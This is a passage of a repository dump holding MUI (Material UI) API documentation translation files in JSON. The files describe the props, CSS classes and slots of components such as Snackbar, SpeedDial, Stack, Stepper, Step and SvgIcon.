\"conditions\": \"active (depending on the value)\"\n    },\n    \"marked\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>marks</code> is provided with at least one label\"\n    },\n    \"markLabelActive\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the mark label element\",\n      \"conditions\": \"active (depending on the value)\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    },\n    \"trackFalse\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>track={false}</code>\"\n    },\n    \"trackInverted\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>track=\\\"inverted\\\"</code>\"\n    },\n    \"valueLabelCircle\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the thumb label&#39;s circle element\"\n    },\n    \"valueLabelLabel\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the thumb label&#39;s label element\"\n    },\n    \"valueLabelOpen\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the thumb label element\",\n      \"conditions\": \"it&#39;s open\"\n    },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"input\": \"The component that renders the input.\",\n    \"mark\": \"The component that renders the mark.\",\n    \"markLabel\": \"The component that renders the mark label.\",\n    \"rail\": \"The component that renders the rail.\",\n    \"root\": \"The component that renders the root.\",\n    \"thumb\": \"The component that renders the thumb.\",\n    \"track\": \"The component that renders the track.\",\n    \"valueLabel\": \"The component that renders the value label.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/snackbar/snackbar.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"action\": {\n      \"description\": \"The action to display. It renders after the message, at the end of the snackbar.\"\n    },\n    \"anchorOrigin\": {\n      \"description\": \"The anchor of the <code>Snackbar</code>. On smaller screens, the component grows to occupy all the available width, the horizontal alignment is ignored.\"\n    },\n    \"autoHideDuration\": {\n      \"description\": \"The number of milliseconds to wait before automatically calling the <code>onClose</code> function. <code>onClose</code> should then set the state of the <code>open</code> prop to hide the Snackbar. This behavior is disabled by default with the <code>null</code> value.\"\n    },\n    \"children\": { \"description\": \"Replace the <code>SnackbarContent</code> component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"disableWindowBlurListener\": {\n      \"description\": \"If <code>true</code>, the <code>autoHideDuration</code> timer will expire even if the window is not focused.\"\n    },\n    \"key\": {\n      \"description\": \"When displaying multiple consecutive snackbars using a single parent-rendered <code>&lt;Snackbar/&gt;</code>, add the <code>key</code> prop to ensure independent treatment of each message. For instance, use <code>&lt;Snackbar key={message} /&gt;</code>. Otherwise, messages might update in place, and features like <code>autoHideDuration</code> could be affected.\"\n    },\n    \"message\": { \"description\": \"The message to display.\" },\n    \"onClose\": {\n      \"description\": \"Callback fired when the component requests to be closed. Typically <code>onClose</code> is used to set state in the parent component, which is used to control the <code>Snackbar</code> <code>open</code> prop. The <code>reason</code> parameter can optionally be used to control the response to <code>onClose</code>, for example ignoring <code>clickaway</code>.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"reason\": {\n          \"name\": \"reason\",\n          \"description\": \"Can be: <code>&quot;timeout&quot;</code> (<code>autoHideDuration</code> expired), <code>&quot;clickaway&quot;</code>, or <code>&quot;escapeKeyDown&quot;</code>.\"\n        }\n      }\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"resumeHideDuration\": {\n      \"description\": \"The number of milliseconds to wait before dismissing after user interaction. If <code>autoHideDuration</code> prop isn&#39;t specified, it does nothing. If <code>autoHideDuration</code> prop is specified but <code>resumeHideDuration</code> isn&#39;t, we default to <code>autoHideDuration / 2</code> ms.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"transitionDuration\": {\n      \"description\": \"The duration for the transition, in milliseconds. You may specify a single timeout for all transitions, or individually with an object.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"anchorOriginBottomCenter\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'bottom', 'center' }}</code>\"\n    },\n    \"anchorOriginBottomLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'bottom', 'left' }}</code>\"\n    },\n    \"anchorOriginBottomRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'bottom', 'right' }}</code>\"\n    },\n    \"anchorOriginTopCenter\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'top', 'center' }}</code>\"\n    },\n    \"anchorOriginTopLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'top', 'left' }}</code>\"\n    },\n    \"anchorOriginTopRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'top', 'right' }}</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"clickAwayListener\": \"The component that renders the clickAwayListener slot.\",\n    \"content\": \"The component that renders the content slot.\",\n    \"root\": \"The component that renders the root slot.\",\n    \"transition\": \"The component that renders the transition. <a href=\\\"/material-ui/transitions/#transitioncomponent-prop\\\">Follow this guide</a> to learn more about the requirements for this component.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/snackbar-content/snackbar-content.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"action\": {\n      \"description\": \"The action to display. It renders after the message, at the end of the snackbar.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"message\": { \"description\": \"The message to display.\" },\n    \"role\": { \"description\": \"The ARIA role attribute of the element.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"action\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the action wrapper element\",\n      \"conditions\": \"<code>action</code> is provided\"\n    },\n    \"message\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the message wrapper element\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/speed-dial/speed-dial.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"ariaLabel\": {\n      \"description\": \"The aria-label of the button element. Also used to provide the <code>id</code> for the <code>SpeedDial</code> element and its children.\"\n    },\n    \"children\": {\n      \"description\": \"SpeedDialActions to display when the SpeedDial is <code>open</code>.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"direction\": {\n      \"description\": \"The direction the actions open relative to the floating action button.\"\n    },\n    \"FabProps\": {\n      \"description\": \"Props applied to the <a href=\\\"https://mui.com/material-ui/api/fab/\\\"><code>Fab</code></a> element.\"\n    },\n    \"hidden\": { \"description\": \"If <code>true</code>, the SpeedDial is hidden.\" },\n    \"icon\": {\n      \"description\": \"The icon to display in the SpeedDial Fab. The <code>SpeedDialIcon</code> component provides a default Icon with animation.\"\n    },\n    \"onClose\": {\n      \"description\": \"Callback fired when the component requests to be closed.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"reason\": {\n          \"name\": \"reason\",\n          \"description\": \"Can be: <code>&quot;toggle&quot;</code>, <code>&quot;blur&quot;</code>, <code>&quot;mouseLeave&quot;</code>, <code>&quot;escapeKeyDown&quot;</code>.\"\n        }\n      }\n    },\n    \"onOpen\": {\n      \"description\": \"Callback fired when the component requests to be open.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"reason\": {\n          \"name\": \"reason\",\n          \"description\": \"Can be: <code>&quot;toggle&quot;</code>, <code>&quot;focus&quot;</code>, <code>&quot;mouseEnter&quot;</code>.\"\n        }\n      }\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"openIcon\": {\n      \"description\": \"The icon to display in the SpeedDial Fab when the SpeedDial is open.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"transitionDuration\": {\n      \"description\": \"The duration for the transition, in milliseconds. You may specify a single timeout for all transitions, or individually with an object.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"actions\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the actions (<code>children</code> wrapper) element\"\n    },\n    \"actionsClosed\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the actions (<code>children</code> wrapper) element\",\n      \"conditions\": \"<code>open={false}</code>\"\n    },\n    \"directionDown\": {\n      \"description\": \"Styles applied to the root element if direction=&quot;down&quot;\"\n    },\n    \"directionLeft\": {\n      \"description\": \"Styles applied to the root element if direction=&quot;left&quot;\"\n    },\n    \"directionRight\": {\n      \"description\": \"Styles applied to the root element if direction=&quot;right&quot;\"\n    },\n    \"directionUp\": {\n      \"description\": \"Styles applied to the root element if direction=&quot;up&quot;\"\n    },\n    \"fab\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the Fab component\" }\n  },\n  \"slotDescriptions\": {\n    \"root\": \"The component that renders the root slot.\",\n    \"transition\": \"The component that renders the transition. <a href=\\\"https://mui.com/material-ui/transitions/#transitioncomponent-prop\\\">Follow this guide</a> to learn more about the requirements for this component.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/speed-dial-action/speed-dial-action.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"delay\": {\n      \"description\": \"Adds a transition delay, to allow a series of SpeedDialActions to be animated.\"\n    },\n    \"icon\": { \"description\": \"The icon to display in the SpeedDial Fab.\" },\n    \"id\": {\n      \"description\": \"This prop is used to help implement the accessibility logic. If you don&#39;t provide this prop. It falls back to a randomly generated id.\"\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"fabClosed\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Fab component\",\n      \"conditions\": \"<code>open={false}</code>\"\n    },\n    \"staticTooltipClosed\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>tooltipOpen={true}</code> and <code>open={false}</code>\"\n    },\n    \"tooltipPlacementLeft\": {\n      \"description\": \"Styles applied to the root element if <code>tooltipOpen={true}</code> and `tooltipPlacement=&quot;left&quot;``\"\n    },\n    \"tooltipPlacementRight\": {\n      \"description\": \"Styles applied to the root element if <code>tooltipOpen={true}</code> and `tooltipPlacement=&quot;right&quot;``\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"fab\": \"The component that renders the fab.\",\n    \"staticTooltip\": \"The component that renders the static tooltip.\",\n    \"staticTooltipLabel\": \"The component that renders the static tooltip label.\",\n    \"tooltip\": \"The component that renders the tooltip.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/speed-dial-icon/speed-dial-icon.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"icon\": { \"description\": \"The icon to display.\" },\n    \"openIcon\": {\n      \"description\": \"The icon to display in the SpeedDial Floating Action Button when the SpeedDial is open.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"icon\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the icon component\" },\n    \"iconOpen\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the icon component\",\n      \"conditions\": \"<code>open={true}</code>\"\n    },\n    \"iconWithOpenIconOpen\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the icon\",\n      \"conditions\": \"an <code>openIcon</code> is provided and if <code>open={true}</code>\"\n    },\n    \"openIcon\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the <code>openIcon</code>\",\n      \"conditions\": \"provided\"\n    },\n    \"openIconOpen\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the <code>openIcon</code>\",\n      \"conditions\": \"provided and if <code>open={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/stack/stack.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"direction\": {\n      \"description\": \"Defines the <code>flex-direction</code> style property. It is applied for all screen sizes.\"\n    },\n    \"divider\": { \"description\": \"Add an element between each child.\" },\n    \"spacing\": { \"description\": \"Defines the space between immediate children.\" },\n    \"sx\": {\n      \"description\": \"The system prop, which allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"useFlexGap\": {\n      \"description\": \"If <code>true</code>, the CSS flexbox <code>gap</code> is used instead of applying <code>margin</code> to children.<br>While CSS <code>gap</code> removes the <a href=\\\"https://mui.com/joy-ui/react-stack/#limitations\\\">known limitations</a>, it is not fully supported in some browsers. We recommend checking <a href=\\\"https://caniuse.com/?search=flex%20gap\\\">https://caniuse.com/?search=flex%20gap</a> before using this flag.<br>To enable this flag globally, follow the theme&#39;s default props configuration.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/step/step.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"active\": { \"description\": \"Sets the step as active. Is passed to child components.\" },\n    \"children\": {\n      \"description\": \"Should be <code>Step</code> sub-components such as <code>StepLabel</code>, <code>StepContent</code>.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"completed\": { \"description\": \"Mark the step as completed. Is passed to child components.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disabled\": {\n      \"description\": \"If <code>true</code>, the step is disabled, will also disable the button if <code>StepButton</code> is a child of <code>Step</code>. Is passed to child components.\"\n    },\n    \"expanded\": { \"description\": \"Expand the step.\" },\n    \"index\": {\n      \"description\": \"The position of the step. The prop defaults to the value inherited from the parent Stepper component.\"\n    },\n    \"last\": {\n      \"description\": \"If <code>true</code>, the Step is displayed as rendered last. The prop defaults to the value inherited from the parent Stepper component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"alternativeLabel\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>alternativeLabel={true}</code>\"\n    },\n    \"completed\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>completed={true}</code>\"\n    },\n    \"horizontal\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/step-button/step-button.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"Can be a <code>StepLabel</code> or a node to place inside <code>StepLabel</code> as children.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"icon\": { \"description\": \"The icon displayed by the step label.\" },\n    \"optional\": { \"description\": \"The optional node to display.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"horizontal\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"touchRipple\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the <code>ButtonBase</code> touch-ripple\"\n    },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/step-connector/step-connector.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"active\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>active={true}</code>\"\n    },\n    \"alternativeLabel\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>alternativeLabel={true}</code>\"\n    },\n    \"completed\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>completed={true}</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"horizontal\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"line\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the line element\" },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/step-content/step-content.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"transitionDuration\": {\n      \"description\": \"Adjust the duration of the content expand transition. Passed as a prop to the transition component.<br>Set to &#39;auto&#39; to automatically calculate transition time based on height.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"last\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>last={true}</code> (controlled by <code>Step</code>)\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  },\n  \"slotDescriptions\": {\n    \"transition\": \"The component that renders the transition slot. <a href=\\\"https://mui.com/material-ui/transitions/#transitioncomponent-prop\\\">Follow this guide</a> to learn more about the requirements for this component.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/step-icon/step-icon.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"active\": { \"description\": \"Whether this step is active.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"completed\": { \"description\": \"Mark the step as completed. Is passed to child components.\" },\n    \"error\": { \"description\": \"If <code>true</code>, the step is marked as failed.\" },\n    \"icon\": { \"description\": \"The label displayed in the step icon.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"active\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>active={true}</code>\"\n    },\n    \"completed\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>completed={true}</code>\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"text\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the SVG text element\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/step-label/step-label.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"In most cases will simply be a string containing a title for the label.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"error\": { \"description\": \"If <code>true</code>, the step is marked as failed.\" },\n    \"icon\": { \"description\": \"Override the default label of the step icon.\" },\n    \"optional\": { \"description\": \"The optional node to display.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"active\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the label element\",\n      \"conditions\": \"<code>active={true}</code>\"\n    },\n    \"alternativeLabel\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root and icon container and label\",\n      \"conditions\": \"<code>alternativeLabel={true}</code>\"\n    },\n    \"completed\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the label element\",\n      \"conditions\": \"<code>completed={true}</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root and label elements\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"error\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root and label elements\",\n      \"conditions\": \"<code>error={true}</code>\"\n    },\n    \"horizontal\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"iconContainer\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the <code>icon</code> container element\"\n    },\n    \"labelContainer\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the container element which wraps label and <code>optional</code>\"\n    },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"label\": \"The component that renders the label.\",\n    \"root\": \"The component that renders the root.\",\n    \"stepIcon\": \"The component to render in place of the <a href=\\\"https://mui.com/material-ui/api/step-icon/\\\"><code>StepIcon</code></a>.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/stepper/stepper.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"activeStep\": {\n      \"description\": \"Set the active step (zero based index). Set to -1 to disable all the steps.\"\n    },\n    \"alternativeLabel\": {\n      \"description\": \"If set to &#39;true&#39; and orientation is horizontal, then the step label will be positioned under the icon.\"\n    },\n    \"children\": { \"description\": \"Two or more <code>&lt;Step /&gt;</code> components.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"connector\": { \"description\": \"An element to be placed between each step.\" },\n    \"nonLinear\": {\n      \"description\": \"If set the <code>Stepper</code> will not assist in controlling steps for linear flow.\"\n    },\n    \"orientation\": { \"description\": \"The component orientation (layout flow direction).\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"alternativeLabel\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>alternativeLabel={true}</code>\"\n    },\n    \"horizontal\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"nonLinear\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>nonLinear={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/svg-icon/svg-icon.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"Node passed into the SVG element.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>. You can use the <code>htmlColor</code> prop to apply a color attribute to the SVG element.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"fontSize\": {\n      \"description\": \"The fontSize applied to the icon. Defaults to 24px, but can be configure to inherit font size.\"\n    },\n    \"htmlColor\": { \"description\": \"Applies a color attribute to the SVG element.\" },\n    \"inheritViewBox\": {\n      \"description\": \"If <code>true</code>, the root node will inherit the custom <code>component</code>&#39;s viewBox and the <code>viewBox</code> prop will be ignored. Useful when you want to reference a custom <code>component</code> and have <code>SvgIcon</code> pass that <code>component</code>&#39;s viewBox to the root node.\"\n    },\n    \"shapeRendering\": {\n      \"description\": \"The shape-rendering attribute. The behavior of the different options is described on the <a href=\\\"https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Attribute/shape-rendering\\\">MDN Web Docs</a>. If you are having issues with blurry icons you should investigate this prop.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"titleAccess\": {\n      \"description\": \"Provides a human-readable title for the element that contains it. <a href=\\\"https://www.w3.org/TR/SVG-access/#Equivalent\\\">https://www.w3.org/TR/SVG-access/#Equivalent</a>\"\n    },\n    \"viewBox\": {\n      \"description\": \"Allows you to redefine what the coordinates without units mean inside an SVG element. For example, if the SVG element is 500 (width) by 200 (height), and you pass viewBox=&quot;0 0 50 20&quot;, this means that the coordinates inside the SVG will go from the top left corner (0,0) to bottom right (50,20) and each unit will be worth 10px.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"colorAction\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"action\\\"</code>\"\n    },\n    \"colorDisabled\": 